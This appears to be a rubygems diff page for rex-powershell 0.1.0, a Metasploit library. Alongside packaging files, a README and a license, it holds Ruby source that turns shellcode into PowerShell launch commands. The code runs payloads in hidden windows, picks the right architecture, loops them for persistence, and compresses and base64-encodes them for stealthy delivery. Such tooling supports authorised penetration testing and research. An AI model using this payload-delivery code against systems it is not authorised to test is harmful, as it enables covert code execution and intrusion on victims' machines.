rex-powershell 0.1.0

Sign up to get free protection for your applications and to get access to all the features.
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA1:
3
+ metadata.gz: 6e804aa77f3457dbd23306effacfe287a50a3c18
4
+ data.tar.gz: a270712dba4ac88432abc0755a14ba92b757820b
5
+ SHA512:
6
+ metadata.gz: 874849a04f6e9d63adf92c90c2386aafab036ca6589eefe4a86da82bf8b6fd03c79932bf4e89c65f6b52dd2e2162dfcc3db1fb61b84c02843357a6b0bc6c8483
7
+ data.tar.gz: e4643295020c14d26f18d12eb8a3b1ecf436eb41e2f662c5f703875782a4984ae3b3afa9dffa978ea8173226e61d611a85cacc27cdde31af4bc51a5760aa9eb8
Binary file
@@ -0,0 +1 @@
1
+ .ݞ��=��
@@ -0,0 +1,9 @@
1
+ /.bundle/
2
+ /.yardoc
3
+ /Gemfile.lock
4
+ /_yardoc/
5
+ /coverage/
6
+ /doc/
7
+ /pkg/
8
+ /spec/reports/
9
+ /tmp/
data/.rspec ADDED
@@ -0,0 +1,2 @@
1
+ --format documentation
2
+ --color
@@ -0,0 +1,5 @@
1
+ sudo: false
2
+ language: ruby
3
+ rvm:
4
+ - 2.3.1
5
+ before_install: gem install bundler -v 1.12.5
@@ -0,0 +1,52 @@
1
+ # Contributor Code of Conduct
2
+
3
+ As contributors and maintainers of this project, and in the interest of
4
+ fostering an open and welcoming community, we pledge to respect all people who
5
+ contribute through reporting issues, posting feature requests, updating
6
+ documentation, submitting pull requests or patches, and other activities.
7
+
8
+ We are committed to making participation in this project a harassment-free
9
+ experience for everyone, regardless of level of experience, gender, gender
10
+ identity and expression, sexual orientation, disability, personal appearance,
11
+ body size, race, ethnicity, age, religion, or nationality.
12
+
13
+ Examples of unacceptable behavior by participants include:
14
+
15
+ * The use of sexualized language or imagery
16
+ * Personal attacks
17
+ * Trolling or insulting/derogatory comments
18
+ * Public or private harassment
19
+ * Publishing other's private information, such as physical or electronic
20
+ addresses, without explicit permission
21
+ * Other unethical or unprofessional conduct
22
+
23
+ Project maintainers have the right and responsibility to remove, edit, or
24
+ reject comments, commits, code, wiki edits, issues, and other contributions
25
+ that are not aligned to this Code of Conduct, or to ban temporarily or
26
+ permanently any contributor for other behaviors that they deem inappropriate,
27
+ threatening, offensive, or harmful.
28
+
29
+ By adopting this Code of Conduct, project maintainers commit themselves to
30
+ fairly and consistently applying these principles to every aspect of managing
31
+ this project. Project maintainers who do not follow or enforce the Code of
32
+ Conduct may be permanently removed from the project team.
33
+
34
+ This Code of Conduct applies both within project spaces and in public spaces
35
+ when an individual is representing the project or its community.
36
+
37
+ Instances of abusive, harassing, or otherwise unacceptable behavior may be
38
+ reported by contacting the project maintainers at msfdev@metasploit.com. If
39
+ the incident involves a committer, you may report directly to
40
+ egypt@metasploit.com or todb@metasploit.com.
41
+
42
+ All complaints will be reviewed and investigated and will result in a
43
+ response that is deemed necessary and appropriate to the circumstances.
44
+ Maintainers are obligated to maintain confidentiality with regard to the
45
+ reporter of an incident.
46
+
47
+ This Code of Conduct is adapted from the [Contributor Covenant][homepage],
48
+ version 1.3.0, available at
49
+ [http://contributor-covenant.org/version/1/3/0/][version]
50
+
51
+ [homepage]: http://contributor-covenant.org
52
+ [version]: http://contributor-covenant.org/version/1/3/0/
data/Gemfile ADDED
@@ -0,0 +1,4 @@
1
+ source 'https://rubygems.org'
2
+
3
+ # Specify your gem's dependencies in rex-powershell.gemspec
4
+ gemspec
data/LICENSE ADDED
@@ -0,0 +1,27 @@
1
+ Copyright (C) 2012-2013, Rapid7, Inc.
2
+ All rights reserved.
3
+
4
+ Redistribution and use in source and binary forms, with or without modification,
5
+ are permitted provided that the following conditions are met:
6
+
7
+ * Redistributions of source code must retain the above copyright notice,
8
+ this list of conditions and the following disclaimer.
9
+
10
+ * Redistributions in binary form must reproduce the above copyright notice,
11
+ this list of conditions and the following disclaimer in the documentation
12
+ and/or other materials provided with the distribution.
13
+
14
+ * Neither the name of Rapid7 LLC nor the names of its contributors
15
+ may be used to endorse or promote products derived from this software
16
+ without specific prior written permission.
17
+
18
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
19
+ ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
20
+ WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
21
+ DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
22
+ ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
23
+ (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
24
+ LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
25
+ ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
26
+ (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
27
+ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
@@ -0,0 +1,32 @@
1
+ # Rex::Powershell
2
+
3
+ Ruby Exploitation(Rex) library for dealing with Powershell Scripts. This Library is designed to help create and manipulate powershell scripts for use
4
+ with Metasploit exploits. It is ported over from the Metasploit Framework code originally created by Meatballs1(https://github.com/Meatballs1)
5
+
6
+ ## Installation
7
+
8
+ Add this line to your application's Gemfile:
9
+
10
+ ```ruby
11
+ gem 'rex-powershell'
12
+ ```
13
+
14
+ And then execute:
15
+
16
+ $ bundle
17
+
18
+ Or install it yourself as:
19
+
20
+ $ gem install rex-powershell
21
+
22
+
23
+ ## Development
24
+
25
+ After checking out the repo, run `bin/setup` to install dependencies. Then, run `rake spec` to run the tests. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
26
+
27
+ To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and tags, and push the `.gem` file to [rubygems.org](https://rubygems.org).
28
+
29
+ ## Contributing
30
+
31
+ Bug reports and pull requests are welcome on GitHub at https://github.com/rapid7/rex-powershell. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the [Contributor Covenant](http://contributor-covenant.org) code of conduct.
32
+
@@ -0,0 +1,6 @@
1
+ require "bundler/gem_tasks"
2
+ require "rspec/core/rake_task"
3
+
4
+ RSpec::Core::RakeTask.new(:spec)
5
+
6
+ task :default => :spec
@@ -0,0 +1,14 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ require "bundler/setup"
4
+ require "rex/powershell"
5
+
6
+ # You can add fixtures and/or initialization code here to make experimenting
7
+ # with your gem easier. You can also use a different console, if you like.
8
+
9
+ # (If you use this, don't forget to add pry to your Gemfile!)
10
+ # require "pry"
11
+ # Pry.start
12
+
13
+ require "irb"
14
+ IRB.start
@@ -0,0 +1,8 @@
1
+ #!/usr/bin/env bash
2
+ set -euo pipefail
3
+ IFS=$'\n\t'
4
+ set -vx
5
+
6
+ bundle install
7
+
8
+ # Do any other automated setup that you need to do here
@@ -0,0 +1,71 @@
1
+ # -*- coding: binary -*-
2
+ require 'rex/powershell/version'
3
+ require 'rex/powershell/payload'
4
+ require 'rex/powershell/output'
5
+ require 'rex/powershell/parser'
6
+ require 'rex/powershell/obfu'
7
+ require 'rex/powershell/param'
8
+ require 'rex/powershell/function'
9
+ require 'rex/powershell/script'
10
+ require 'rex/powershell/psh_methods'
11
+ require 'rex/powershell/command'
12
+
13
+
14
+ module Rex
15
+ module Powershell
16
+ #
17
+ # Reads script into a Powershell::Script
18
+ #
19
+ # @param script_path [String] Path to the Script File
20
+ #
21
+ # @return [Script] Powershell Script object
22
+ def self.read_script(script_path)
23
+ Rex::Powershell::Script.new(script_path)
24
+ end
25
+
26
+ #
27
+ # Insert substitutions into the powershell script
28
+ # If script is a path to a file then read the file
29
+ # otherwise treat it as the contents of a file
30
+ #
31
+ # @param script [String] Script file or path to script
32
+ # @param subs [Array] Substitutions to insert
33
+ #
34
+ # @return [String] Modified script file
35
+ def self.make_subs(script, subs)
36
+ if ::File.file?(script)
37
+ script = ::File.read(script)
38
+ end
39
+
40
+ subs.each do |set|
41
+ script.gsub!(set[0], set[1])
42
+ end
43
+
44
+ script
45
+ end
46
+
47
+ #
48
+ # Return an array of substitutions for use in make_subs
49
+ #
50
+ # @param subs [String] A ; seperated list of substitutions
51
+ #
52
+ # @return [Array] An array of substitutions
53
+ def self.process_subs(subs)
54
+ return [] if subs.nil? or subs.empty?
55
+ new_subs = []
56
+ subs.split(';').each do |set|
57
+ new_subs << set.split(',', 2)
58
+ end
59
+
60
+ new_subs
61
+ end
62
+
63
+ #
64
+ # Converts a raw string to a powershell byte array
65
+ #
66
+ def self.to_powershell(str, name = "buf")
67
+ return Rex::Powershell::Script.to_byte_array(str, name)
68
+ end
69
+ end
70
+ end
71
+
@@ -0,0 +1,359 @@
1
+ # -*- coding: binary -*-
2
+
3
+ module Rex
4
+ module Powershell
5
+ module Command
6
+ #
7
+ # Return an encoded powershell script
8
+ # Will invoke PSH modifiers as enabled
9
+ #
10
+ # @param script_in [String] Script contents
11
+ # @param opts [Hash] The options for encoding
12
+ # @option opts [Bool] :strip_comments Strip comments
13
+ # @option opts [Bool] :strip_whitespace Strip whitespace
14
+ # @option opts [Bool] :sub_vars Substitute variable names
15
+ # @option opts [Bool] :sub_funcs Substitute function names
16
+ #
17
+ # @return [String] Encoded script
18
+ def self.encode_script(script_in, eof=nil, opts={})
19
+ # Build script object
20
+ psh = Rex::Powershell::Script.new(script_in)
21
+ psh.strip_comments if opts[:strip_comments]
22
+ psh.strip_whitespace if opts[:strip_whitespace]
23
+ psh.sub_vars if opts[:sub_vars]
24
+ psh.sub_funcs if opts[:sub_funcs]
25
+ psh.encode_code(eof)
26
+ end
27
+
28
+ #
29
+ # Return a gzip compressed powershell script
30
+ # Will invoke PSH modifiers as enabled
31
+ #
32
+ # @param script_in [String] Script contents
33
+ # @param eof [String] Marker to indicate the end of file appended to script
34
+ # @param opts [Hash] The options for encoding
35
+ # @option opts [Bool] :strip_comments Strip comments
36
+ # @option opts [Bool] :strip_whitespace Strip whitespace
37
+ # @option opts [Bool] :sub_vars Substitute variable names
38
+ # @option opts [Bool] :sub_funcs Substitute function names
39
+ #
40
+ # @return [String] Compressed script with decompression stub
41
+ def self.compress_script(script_in, eof=nil, opts={})
42
+ # Build script object
43
+ psh = Rex::Powershell::Script.new(script_in)
44
+ psh.strip_comments if opts[:strip_comments]
45
+ psh.strip_whitespace if opts[:strip_whitespace]
46
+ psh.sub_vars if opts[:sub_vars]
47
+ psh.sub_funcs if opts[:sub_funcs]
48
+ psh.compress_code(eof)
49
+ end
50
+
51
+ #
52
+ # Generate a powershell command line, options are passed on to
53
+ # generate_psh_args
54
+ #
55
+ # @param opts [Hash] The options to generate the command line
56
+ # @option opts [String] :path Path to the powershell binary
57
+ # @option opts [Boolean] :no_full_stop Whether powershell binary
58
+ # should include .exe
59
+ #
60
+ # @return [String] Powershell command line with arguments
61
+ def self.generate_psh_command_line(opts)
62
+ if opts[:path] and (opts[:path][-1, 1] != '\\')
63
+ opts[:path] << '\\'
64
+ end
65
+
66
+ if opts[:no_full_stop]
67
+ binary = 'powershell'
68
+ else
69
+ binary = 'powershell.exe'
70
+ end
71
+
72
+ args = generate_psh_args(opts)
73
+
74
+ "#{opts[:path]}#{binary} #{args}"
75
+ end
76
+
77
+ #
78
+ # Generate arguments for the powershell command
79
+ # The format will be have no space at the start and have a space
80
+ # afterwards e.g. "-Arg1 x -Arg -Arg x "
81
+ #
82
+ # @param opts [Hash] The options to generate the command line
83
+ # @option opts [Boolean] :shorten Whether to shorten the powershell
84
+ # arguments (v2.0 or greater)
85
+ # @option opts [String] :encodedcommand Powershell script as an
86
+ # encoded command (-EncodedCommand)
87
+ # @option opts [String] :executionpolicy The execution policy
88
+ # (-ExecutionPolicy)
89
+ # @option opts [String] :inputformat The input format (-InputFormat)
90
+ # @option opts [String] :file The path to a powershell file (-File)
91
+ # @option opts [Boolean] :noexit Whether to exit powershell after
92
+ # execution (-NoExit)
93
+ # @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
94
+ # @option opts [Boolean] :noninteractive Whether to load a non
95
+ # interactive powershell (-NonInteractive)
96
+ # @option opts [Boolean] :mta Whether to run as Multi-Threaded
97
+ # Apartment (-Mta)
98
+ # @option opts [String] :outputformat The output format
99
+ # (-OutputFormat)
100
+ # @option opts [Boolean] :sta Whether to run as Single-Threaded
101
+ # Apartment (-Sta)
102
+ # @option opts [Boolean] :noprofile Whether to use the current users
103
+ # powershell profile (-NoProfile)
104
+ # @option opts [String] :windowstyle The window style to use
105
+ # (-WindowStyle)
106
+ #
107
+ # @return [String] Powershell command arguments
108
+ def self.generate_psh_args(opts)
109
+ return '' unless opts
110
+
111
+ unless opts.key? :shorten
112
+ opts[:shorten] = (opts[:method] != 'old')
113
+ end
114
+
115
+ arg_string = ' '
116
+ opts.each_pair do |arg, value|
117
+ case arg
118
+ when :encodedcommand
119
+ arg_string << "-EncodedCommand #{value} " if value
120
+ when :executionpolicy
121
+ arg_string << "-ExecutionPolicy #{value} " if value
122
+ when :inputformat
123
+ arg_string << "-InputFormat #{value} " if value
124
+ when :file
125
+ arg_string << "-File #{value} " if value
126
+ when :noexit
127
+ arg_string << '-NoExit ' if value
128
+ when :nologo
129
+ arg_string << '-NoLogo ' if value
130
+ when :noninteractive
131
+ arg_string << '-NonInteractive ' if value
132
+ when :mta
133
+ arg_string << '-Mta ' if value
134
+ when :outputformat
135
+ arg_string << "-OutputFormat #{value} " if value
136
+ when :sta
137
+ arg_string << '-Sta ' if value
138
+ when :noprofile
139
+ arg_string << '-NoProfile ' if value
140
+ when :windowstyle
141
+ arg_string << "-WindowStyle #{value} " if value
142
+ end
143
+ end
144
+
145
+ # Command must be last (unless from stdin - etc)
146
+ if opts[:command]
147
+ arg_string << "-Command #{opts[:command]}"
148
+ end
149
+
150
+ # Shorten arg if PSH 2.0+
151
+ if opts[:shorten]
152
+ # Invoke-Command and Out-File require these options to have
153
+ # an additional space before to prevent Powershell code being
154
+ # mangled.
155
+ arg_string.gsub!(' -Command ', ' -c ')
156
+ arg_string.gsub!('-EncodedCommand ', '-e ')
157
+ arg_string.gsub!('-ExecutionPolicy ', '-ep ')
158
+ arg_string.gsub!(' -File ', ' -f ')
159
+ arg_string.gsub!('-InputFormat ', '-i ')
160
+ arg_string.gsub!('-NoExit ', '-noe ')
161
+ arg_string.gsub!('-NoLogo ', '-nol ')
162
+ arg_string.gsub!('-NoProfile ', '-nop ')
163
+ arg_string.gsub!('-NonInteractive ', '-noni ')
164
+ arg_string.gsub!('-OutputFormat ', '-o ')
165
+ arg_string.gsub!('-Sta ', '-s ')
166
+ arg_string.gsub!('-WindowStyle ', '-w ')
167
+ end
168
+
169
+ # Strip off first space character
170
+ arg_string = arg_string[1..-1]
171
+ # Remove final space character
172
+ arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
173
+
174
+ arg_string
175
+ end
176
+
177
+ #
178
+ # Wraps the powershell code to launch a hidden window and
179
+ # detect the execution environment and spawn the appropriate
180
+ # powershell executable for the payload architecture.
181
+ #
182
+ # @param ps_code [String] Powershell code
183
+ # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
184
+ # @param encoded [Boolean] Indicates whether ps_code is encoded or not
185
+ # @param opts [Hash] The options for generate_psh_args
186
+ #
187
+ # @return [String] Wrapped powershell code
188
+ def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
189
+ opts[:noprofile] ||= 'true'
190
+ opts[:windowstyle] ||= 'hidden'
191
+
192
+ # Old method needs host process to stay open
193
+ opts[:noexit] = true if (opts[:method] == 'old')
194
+
195
+ if encoded
196
+ opts[:encodedcommand] = ps_code
197
+ else
198
+ opts[:command] = ps_code.gsub("'", "''")
199
+ end
200
+
201
+ ps_args = generate_psh_args(opts)
202
+
203
+ process_start_info = <<EOS
204
+ $s=New-Object System.Diagnostics.ProcessStartInfo
205
+ $s.FileName=$b
206
+ $s.Arguments='#{ps_args}'
207
+ $s.UseShellExecute=$false
208
+ $s.RedirectStandardOutput=$true
209
+ $s.WindowStyle='Hidden'
210
+ $s.CreateNoWindow=$true
211
+ $p=[System.Diagnostics.Process]::Start($s)
212
+ EOS
213
+ process_start_info.gsub!("\n", ';')
214
+
215
+ archictecure_detection = <<EOS
216
+ if([IntPtr]::Size -eq 4){
217
+ #{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
218
+ }else{
219
+ #{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
220
+ };
221
+ EOS
222
+
223
+ archictecure_detection.gsub!("\n", '')
224
+
225
+ archictecure_detection + process_start_info
226
+ end
227
+
228
+ #
229
+ # Creates a powershell command line string which will execute the
230
+ # payload in a hidden window in the appropriate execution environment
231
+ # for the payload architecture. Opts are passed through to
232
+ # run_hidden_psh, generate_psh_command_line and generate_psh_args
233
+ #
234
+ # @param pay [String] The payload shellcode
235
+ # @param payload_arch [String] The payload architecture 'x86'/'x86_64'
236
+ # @param opts [Hash] The options to generate the command
237
+ # @option opts [Boolean] :persist Loop the payload to cause
238
+ # re-execution if the shellcode finishes
239
+ # @option opts [Integer] :prepend_sleep Sleep for the specified time
240
+ # before executing the payload
241
+ # @option opts [String] :method The powershell injection technique to
242
+ # use: 'net'/'reflection'/'old'
243
+ # @option opts [Boolean] :encode_inner_payload Encodes the powershell
244
+ # script within the hidden/architecture detection wrapper
245
+ # @option opts [Boolean] :encode_final_payload Encodes the final
246
+ # powershell script
247
+ # @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
248
+ # environment variable at the start of the command line
249
+ # @option opts [Boolean] :use_single_quotes Wraps the -Command
250
+ # argument in single quotes unless :encode_final_payload
251
+ #
252
+ # @return [String] Powershell command line with payload
253
+ def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
254
+ if opts[:encode_inner_payload] && opts[:encode_final_payload]
255
+ fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
256
+ end
257
+
258
+ if opts[:no_equals] && !opts[:encode_final_payload]
259
+ fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
260
+ end
261
+
262
+ psh_payload = case opts[:method]
263
+ when 'net'
264
+ Rex::Powershell::Payload.to_win32pe_psh_net(template_path, pay)
265
+ when 'reflection'
266
+ Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, pay)
267
+ when 'old'
268
+ Rex::Powershell::Payload.to_win32pe_psh(template_path, pay)
269
+ when 'msil'
270
+ fail RuntimeError, 'MSIL Powershell method no longer exists'
271
+ else
272
+ fail RuntimeError, 'No Powershell method specified'
273
+ end
274
+
275
+ # Run our payload in a while loop
276
+ if opts[:persist]
277
+ fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
278
+ sleep_time = rand(5) + 5
279
+ psh_payload = "function #{fun_name}{#{psh_payload}};"
280
+ psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
281
+ end
282
+
283
+ if opts[:prepend_sleep]
284
+ if opts[:prepend_sleep].to_i > 0
285
+ psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
286
+ end
287
+ end
288
+
289
+ compressed_payload = compress_script(psh_payload, nil, opts)
290
+ encoded_payload = encode_script(psh_payload, opts)
291
+
292
+ # This branch is probably never taken...
293
+ if encoded_payload.length <= compressed_payload.length
294
+ smallest_payload = encoded_payload
295
+ encoded = true
296
+ else
297
+ if opts[:encode_inner_payload]
298
+ encoded = true
299
+ compressed_encoded_payload = encode_script(compressed_payload)
300
+
301
+ if encoded_payload.length <= compressed_encoded_payload.length
302
+ smallest_payload = encoded_payload
303
+ else
304
+ smallest_payload = compressed_encoded_payload
305
+ end
306
+ else
307
+ smallest_payload = compressed_payload
308
+ encoded = false
309
+ end
310
+ end
311
+
312
+ # Wrap in hidden runtime / architecture detection
313
+ inner_args = opts.clone
314
+ final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded, inner_args)
315
+
316
+ command_args = {
317
+ noprofile: true,
318
+ windowstyle: 'hidden'
319
+ }.merge(opts)
320
+
321
+ if opts[:encode_final_payload]
322
+ command_args[:encodedcommand] = encode_script(final_payload)
323
+
324
+ # If '=' is a bad character pad the payload until Base64 encoded
325
+ # payload contains none.
326
+ if opts[:no_equals]
327
+ while command_args[:encodedcommand].include? '='
328
+ final_payload << ' '
329
+ command_args[:encodedcommand] = encode_script(final_payload)
330
+ end
331
+ end
332
+ else
333
+ if opts[:use_single_quotes]
334
+ # Escape Single Quotes
335
+ final_payload.gsub!("'", "''")
336
+ # Wrap command in quotes
337
+ final_payload = "'#{final_payload}'"
338
+ end
339
+
340
+ command_args[:command] = final_payload
341
+ end
342
+
343
+ psh_command = generate_psh_command_line(command_args)
344
+
345
+ if opts[:remove_comspec]
346
+ command = psh_command
347
+ else
348
+ command = "%COMSPEC% /b /c start /b /min #{psh_command}"
349
+ end
350
+
351
+ if command.length > 8191
352
+ fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
353
+ end
354
+
355
+ command
356
+ end
357
+ end
358
+ end
359
+ end